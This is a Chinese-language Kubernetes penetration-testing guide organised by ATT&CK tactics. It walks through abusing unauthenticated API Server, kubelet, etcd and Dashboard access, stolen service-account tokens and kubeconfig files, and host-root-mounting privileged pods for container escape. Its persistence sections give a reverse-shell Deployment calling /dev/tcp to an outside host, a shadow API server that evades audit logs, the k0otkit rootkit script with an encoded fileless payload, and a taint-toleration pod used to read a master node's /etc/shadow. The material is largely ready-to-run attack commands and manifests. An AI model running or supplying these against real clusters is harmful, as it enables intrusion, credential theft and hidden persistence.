# Kubernetes ATT\&CK

<figure><img src="/files/hhZG3V2WN5UbaRGGm6Ua" alt=""><figcaption></figcaption></figure>

**识别容器**

首先是Docker再判断是否为K8s

/run/secrets/kubernetes.io/serviceaccount文件是为Pod中的进程和外部用户提供身份信息

```bash
df -h
Filesystem               Size  Used Avail Use% Mounted on
overlay                   50G  3.6G   47G   8% /
tmpfs                     64M     0   64M   0% /dev
tmpfs                    1.9G     0  1.9G   0% /sys/fs/cgroup
/dev/mapper/centos-root   50G  3.6G   47G   8% /etc/hosts
shm                       64M     0   64M   0% /dev/shm
tmpfs            1.9G   12K  1.9G   1% /run/secrets/kubernetes.io/serviceaccount
tmpfs                    1.9G     0  1.9G   0% /proc/acpi
tmpfs                    1.9G     0  1.9G   0% /proc/scsi
tmpfs                    1.9G     0  1.9G   0% /sys/firmware
```

```bash
ls -l /run/secrets/kubernetes.io/serviceaccount/
total 0
lrwxrwxrwx 1 root root 13 Sep 17 01:17 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 17 01:17 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 17 01:17 token -> ..data/token
```

主要包含了三个内容

* &#x20;namespace指定了pod所在的namespace
* &#x20;CA用于验证apiserver的证书
* &#x20;token用作身份验证

env环境变量

```bash
root@privileged-container:~# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=privileged-container
DVWA_WEB_SERVICE_PORT=8080
DVWA_WEB_SERVICE_HOST=10.97.153.211
DVWA_WEB_SERVICE_PORT_8080=8080
```

**初始访问**

**容器内应用漏洞**

常用Web应用，由K8s编排Docker部署的Web应用，存在SQL注入、命令执行等，获取到Webshell权限，这时候就拿到了Pod节点权限，通过Pod节点逃逸、横向渗透。

护网中常见的是Shiro拿到权限之后是由K8s部署的，在无法逃逸的情况下，利用Pod节点作为入口点，对内网横向渗透获取其它机器权限。

**API Server未授权访问**

API Server作为中心组件，通常使用kubectl来访问apiserver，也可以通过Kubernetes各个语言的client库来访问kube-apiserver 同时提供 https（默认监听在 6443 端口）和 http API（默认监听在 127.0.0.1 的 8080 端口）访问。

如运维人员配置不当，将默认监听127.0.0.1更改为0.0.0.0，或者添加了--enable-skip-login选项，将会导致未授权访问。

由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

可通过命令查看：

```bash
kubectl get clusterrolebindings -o yaml 
```

配置有未授权

{% code overflow="wrap" %}

```bash
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin   --user=system:anonymous
```

{% endcode %}

利用链：

可以通过cdk中的kcurl模块进行利用

查看Pods -> 创建特权容器 -> 执行命令 -> 逃逸完成。

```bash
#查看Pod
https://192.168.250.28:6443/api/v1/namespaces/default/pods?limit=500
```

{% code overflow="wrap" %}

```bash
#创建特权容器
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444
 
POST：
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-3333\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-3333\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-3333","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-3333","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
#执行命令
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami
```

{% endcode %}

YAML描述文件

```bash
apiVersion: v1 #创建该对象所使用的Kubernetes API版本
kind: Pod #对象类型为Pod，可以是Deployment、DaemonSet等
metadata: #识别对象唯一性数据，名称、namespace
  name: test-444 #Pod名称
spec: #Pod规格
  containers:
  - name: test-444 #容器名称
    image: nginx:1.14.2 #镜像
    volumeMounts: #卷
    - name: host
      mountPath: /host #将宿主机的根目录挂载到/host目录下
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
```

提示！

执行

{% code overflow="wrap" %}

```bash

https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "Upgrade request required",
  "reason": "BadRequest",
  "code": 400
}
```

{% endcode %}

问题原因：

{% embed url="<https://stackoverflow.com/questions/49250370/kubernetes-pod-exec-api-upgrade-request-required>" %}

curl/postman不支持从http升级到websocket因此错误

{% code overflow="wrap" %}

```bash
wscat -n -c
'https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami'
```

{% endcode %}

**kubelet未授权访问**

每个Node节点上都运行一个 Kubelet 服务进程，默认监听 10250 端口，接收并执行 Master 发来的指令，管理 Pod 及 Pod 中的容器。在缺少对TLS身份验证，而在一些默认配置中启用了，--anonymous-auth 默认为true允许匿名身份访问API。

案例：

[Kubernetes集群被入侵](http://dockone.io/article/2434594)

[kubernetes集群遭挖矿木马突袭](http://blog.nsfocus.net/kubernetes%E9%9B%86%E7%BE%A4%E9%81%AD%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E7%AA%81%E8%A2%AD/)

修改未授权选项：

```bash
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
vim /var/lib/kubelet/config.yaml
anonymous： true
mode: AlwaysAllow
```

攻击方式：

{% code overflow="wrap" %}

```bash
curl -sk https://192.168.238.173:10250/runningpods/ |python -m json.tool
 
curl -k -XPOST "https://192.168.238.173:10250/run/kube-system/node-local-dns-zhrdn/node-local" -d "cmd=whoami"
```

{% endcode %}

新版的k8s认证方式authorization mode默认为webhook,需要 Kubelet 通过 Api Server 进行授权。这样只是将authentication的anonymous改为true也无法利用

利用工具：

[kubeletctl](https://github.com/cyberark/kubeletctl)

{% code overflow="wrap" %}

```bash
Examples:
    // List all pods from kubelet
    kubeletctl pods --server 123.123.123.123
 
    // List all pods from kubelet with token
    kubeletctl pods --token <JWT_token> --server 123.123.123.123
 
    // List all pods from kubelet with token file
    kubeletctl pods --token-file /var/run/secrets/kubernetes.io/serviceaccount/token --server 123.123.123.123
 
    // Searching for service account token in each accessible container
    kubeletctl scan token --server 123.123.123.123
 
    // Searching for pods/containers vulnerable to RCE
    kubeletctl scan rce --server 123.123.123.123
 
    // Run "ls /" command on pod my-nginx-pod/nginx in thedefault namespace
    kubeletctl run "ls /" --namespace default --pod my-nginx-pod --container nginx --server 123.123.123.123
 
    // Run "ls /" command on all existing pods in a node
    kubeletctl.exe run "ls /" --all-pods --server 123.123.123.123
 
    // With certificates
    kubeletctl.exe pods -s <node_ip> --cacert C:\Users\myuser\certs\ca.crt --cert C:\Users\myuser\certs\kubelet-client-current.pem --key C:\Users\myuser\certs\kubelet-client-current.pem
```

{% endcode %}

**etcd获取敏感信息**

2379(用于客户端与ectd通信）在默认配置当中是可以直接访问获取些敏感信息。

本地127.1可免认证访问，其他地址要带--endpoint参数和cert进行认证。

通过某搜索引擎：

```bash
#列出该目录所有节点的信息
http://114.xxx.xxx.155:2379/v2/keys
```

```bash
#添加上recursive=true参数,就会递归地列出所有的值
http://36..xxx.xxx.18:2379/v2/keys/?recursive=true
```

&#x20;

<figure><img src="/files/WiFHVkzDdIycnyEfxc4h" alt=""><figcaption></figcaption></figure>

通过命令方式访问

{% code overflow="wrap" %}

```bash
#检查是否正常连接
etcdctl endpoint health
 
#读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
 
#通过token认证访问API-Server，接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
 
#带cert访问etcd
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
```

{% endcode %}

**Dashboard面板暴露**

由于鉴权配置不当如添加了--enable-skip-login选项，从而使Dashboard允许匿名用户以管理员权限向集群内部下发指令。

```bash
kubectl get pod -n kube-system | grep dashboard
 
kubectl get svc -n kube-system|grep dashboard
 
kubectl describe -n kube-system secrets admin-user
```

&#x20;

<figure><img src="/files/2yvTjNqarWKXxxPJpYxI" alt=""><figcaption></figcaption></figure>

之后进入到终端，进入到/host通过chroot进行切换bash

&#x20;

**K8s configfile 泄露**

K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。

K8s本身并不维护这类帐户信息，它不会存储到API Server上，仅用于检测用户是否有权限执行所请求的操作。

如办公网机器被入侵、运维电脑存有并且能够访问得到API Server就能够直接接管K8s。

用户凭证保存在kubeconfig 文件中，而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件：

* &#x20;如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
* &#x20;如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
* &#x20;如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。

K8s有两种用户类型：

* &#x20;User Account
* &#x20;Service Account 简称SA

完整利用流程：

K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。

User Account

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
```

```bash
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
```

{% code overflow="wrap" %}

```bash
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
```

{% endcode %}

```bash
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
```

```bash
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash，逃逸成功
cd /host
chroot ./ bash
```

Service Account

K8s集群创建的Pod中，容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token)，CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口，如果执行成功意味着该账号拥有高权限，您可以直接利用Service Account管理K8s集群。

k8s集群部署的时候默认会在每个pod容器中挂载token文件到

/run/secrets/kubernetes.io/serviceaccount/token

{% code overflow="wrap" %}

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

获取token文件内容，并写入如下格式：
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://192.168.238.129:6443
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: default
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjhGYlREWldiRHFsamVrNmpGdTRzR1ZVa251eHBGWV9zaE5xxxxOrmcZuSIICPW-ydtWco0D4QmwhXvC-pdVGNBgX98GVgxjOBNJL32P2azjdyMBOtA
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
```

{% endcode %}

{% code overflow="wrap" %}

```bash
#权限不够会提示：
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list resource "nodes" in API group "" at the cluster scope
```

{% endcode %}

在Kubernetes中，授权有ABAC（基于属性的访问控制）、RBAC（基于角色的访问控制）、Webhook、Node、AlwaysDeny（一直拒绝）和AlwaysAllow（一直允许）这6种模式。从1.6版本起，Kubernetes 默认启用RBAC访问控制策略。从1.8开始，RBAC已作为稳定的功能。

{% code overflow="wrap" %}

```bash
#获取拉取过的images
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
```

{% endcode %}

```bash
#找到可用的镜像后
#将宿主机的根目录挂载到了我们pod中的 /host目录
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default \
--insecure-skip-tls-verify=true
 
#进入容器
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default -
-insecure-skip-tls-verify=true
```

BASH利用方式

{% code overflow="wrap" %}

```bash
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
 
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
 
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
 
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
 
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
 
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces
 
#写入yaml
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
 
创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k
${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
 
查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/default/pods/nginx
 
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
```

{% endcode %}

&#x20;

<figure><img src="/files/wS7NX4nZR4vsKEH5zL2e" alt=""><figcaption></figcaption></figure>

**使用恶意镜像**

使用恶意的镜像会危害到集群，例如在Docker Hub拉取不受信任的镜像，可能存在后门以及应用程序版本较低产生的漏洞。

&#x20;

私有镜像仓库

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器，由VMware开源。配置文件默认密码为：harbor\_admin\_password: Harbor12345

Harbor 1.8.3前版前本存在： CVE-2019-1609-任意管理员注册

危害：攻击者上传构造好的后门镜像，获取镜像中源代码。

**执行**

**创建后门容器**

比如创建：DS、RS、Deployments

最常见的是反弹Shell

{% code overflow="wrap" %}

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
 
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
 
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o
jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
 
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash，逃逸成功
cd /host
chroot ./ bash
```

{% endcode %}

* &#x20;利用Service Account
* &#x20;CURL方式请求
* &#x20;kubectl方式请求

**持久化**

**挂载主机路径**

```bash
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
```

**Deployments**

通过创建容器启用DaemonSets、Deployments，使子容器被清理掉了会恢复

&#x20;

* &#x20;ReplicationController（RC）
  * &#x20;ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。&#x20;
* &#x20;Replication Set（RS）
  * &#x20;Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector

&#x20;

* &#x20;Deployment
  * &#x20;主要职责和RC一样的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，我们可以看成是一个升级版的RC控制器

官方组件kube-dns、kube-proxy也都是使用的Deployment来管理

这里使用Deployments来部署后门

```bash
#dep.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.173/4242 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory
 
#创建
kubectl create -f dep.yaml
```

**Shadow API Server**

部署一个shadow apiserver，该apiserver具有和集群中现存的apiserver一致的功能，同时开启了全部K8s管理权限，接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

利用链：

1\. 拥有master node权限

2\. 在攻入的pod内部查找API-server访问地址和凭据

3\. 连接apiserver判断权限

4\. 获取apiserver原有配置

5\. 修改配置

6\. 重新部署shadow apiserver

配置文件：

```bash
/etc/systemd/system/kube-apiserver-test.service
```

```bash
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
 
#使用到的选项
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
 
#kcurl访问
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
```

**Rootkit**

<https://github.com/Metarget/k0otkit>

* &#x20;DaemonSet和Secret资源（快速持续反弹、资源分离）
  * &#x20;利用DaemonSet资源持续反弹，并且创建特权容器。
  * &#x20;利用容器名称相似度伪装
  * &#x20;利用Meterpreter替代反弹Shell
  * &#x20;将Payload隐藏在Secret资源中
* &#x20;kube-proxy镜像（就地取材）
* &#x20;动态容器注入（高隐蔽性）
  * &#x20;查找DaemonSet容器，在已启动的容器中添加后门

Meterpreter（流量加密）

* &#x20;无文件攻击（高隐蔽性）
  * &#x20;利用memfd\_create无文件攻击

{% code overflow="wrap" %}

```bash
#生成k0otkit
./pre_exp.sh
 
#监听
./handle_multi_reverse_shell.sh
 
#k0otkit.sh的内容复制到master
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
 
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
 
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhOGVlOTI2ODAyMDAxMTY3ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
 
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
 
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -
```

{% endcode %}

**cronjob持久化**

Job负责处理任务，即仅执行一次的任务

CronJob则就是在Job上加上了时间调度。

```bash
kubectl create -f https://k8s.io/examples/application/job/cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反弹Shell
          restartPolicy: OnFailure
```

**权限提升**

* &#x20;特权容器逃逸
* &#x20;Docker Socket
* &#x20;Docker漏洞
* &#x20;内核漏洞
* Linux Capabilities逃逸
* &#x20;Procfs目录挂载逃逸
* &#x20;Docker Daemon 未授权
* &#x20;K8s漏洞提权
* &#x20;K8s Rolebinding添加用户权限（Cluster-admin binding）
* &#x20;访问集群外资源（Access cloud resources）

**探测**

* &#x20;内网扫描
* &#x20;K8s常用端口探测
* &#x20;集群内部网络
* &#x20;Cluster内网扫描

**集群内网扫描**

Kubernetes的网络中存在4种主要类型的通信

* &#x20;同一Pod内的容器间通信
* &#x20;各Pod彼此间通信
* &#x20;Pod与Service间的通信
* &#x20;集群外部的流量与Service间的通信。

所以和常规内网渗透无区别，nmap、masscan等扫描

10/172/192

**K8s常用端口探测**

<figure><img src="/files/cUaFqZGREJdzSA1Z8Xvo" alt=""><figcaption></figcaption></figure>

**集群内部网络**

* Flannel网络插件默认使用10.244.0.0/16网络
* &#x20;Calico默认使用192.168.0.0/16网络

&#x20;

整体攻击思路

* &#x20;拿到容器
* 逃逸成功
  * &#x20;获取Kubeconfig、执行kubectl控制集群
  * &#x20;逃逸失败
  * &#x20;Serviceaccount
  * &#x20;通过curl、kubectl创建特权容器
  * &#x20;逃逸成功，进行控制
* &#x20;探测网络
  * &#x20;扫描网段发现控制面板，SSH服务等
  * &#x20;API Server
  * &#x20;Etcd等
  * &#x20;未授权
* &#x20;搞其它的Pod、容器
* &#x20;查找容器中serviceaccount等进行逃逸

**横向移动**

* &#x20;容器逃逸
* &#x20;通过Service Account访问K8s API
* &#x20;Dashboard面板
* &#x20;ConfigMap
* &#x20;污点(Taint)横向渗透
* &#x20;第三方组件风险
* &#x20;DNS投毒（CoreDNS poisoning）
* &#x20;ARP投毒和IP欺骗（ARP poisoning and IP spoofing）

**ConfigMap**

提供了向容器中注入配置信息的能力，不仅可以用来保存单个属性，也可以用来保存整个配置文件

一般情况下ConfigMap是用来存储一些非安全的配置信息

```bash
#查看configmap列表
kubectl get configmap
 
#查看详细信息
kubectl describe configmaps cm-data
Name:         cm-data
Namespace:    default
Labels:       <none>
Annotations:  <none>
 
Data
====
redis.conf:
----
host=127.0.0.1
port=6379
 
mysql.conf:
----
host=127.0.0.1
port=3306
 
#查看键值
kubectl get configmaps cm-data -o yaml
```

**污点(Taint)横向渗透**

污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。

一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。

而通常容忍这个污点的Pod都是系统级别的Pod，例如kube-system

![](/files/Ym4ouWGuOpo1BNGDPNxH)&#x20;

控制Pod创建时候的污点来向集群内的节点进行喷射创建。

```bash
#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME              STATUS                     ROLES    AGE   VERSION
192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.131   Ready                      node     30d   v1.21.0
192.168.238.132   Ready                      node     30d   v1.21.0
```

```bash
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name:               192.168.238.130
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=192.168.238.130
                    kubernetes.io/os=linux
                    kubernetes.io/role=master
Annotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
                    flannel.alpha.coreos.com/backend-type: vxlan
                    flannel.alpha.coreos.com/kube-subnet-manager: true
                    flannel.alpha.coreos.com/public-ip: 192.168.238.130
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800
Taints:             node.kubernetes.io/unschedulable:NoSchedule
```

```bash
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
 
#control-master.yaml内容：
apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory
```

&#x20;

<figure><img src="/files/B4h1xpgemxBMNwsLqdwz" alt=""><figcaption></figcaption></figure>

```bash
#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
```

&#x20;

**第三方组件风险**

* &#x20;供应层
  * &#x20;自动化和配置：Chef、Puppet、Ansible、Terraform、KubeEdge
  * &#x20;镜像仓库：Docker Hub、Harbor、artifactory
* &#x20;运行时层
  * &#x20;容器运行时：Containerd、CRI-O、Kata、gVisor、Firecracker
  * &#x20;云原生网络：Calico、Weave Net、Flannel、Antrea、NSX-T
* &#x20;编排管理层
  * &#x20;编排和调度：Kubernetes、Docker Swarm、Mesos
  * &#x20;协调和服务发现：CoreDNS、Etcd、Zookeeper、Eureka
  * &#x20;API网关：Kong、Mulesoft、Ambassador
  * &#x20;服务网格：lstio、Linkerd、Consul
* &#x20;应用程序定义和开发层
  * &#x20;数据库：Postgres、MySQL、Redis
  * &#x20;数据流和消息传递：Spark、Kafka、RabbitMQ、Nats
  * &#x20;应用程序定义和镜像构建：Helm、Buildpacks、Tilt、Okteto
  * &#x20;持续集成和持续交付：Argo、Flagger、Spinnaker、Jenkins
* &#x20;平台层
  * &#x20;其它k8s发行版：AgorKube、Canonical、OpenShift
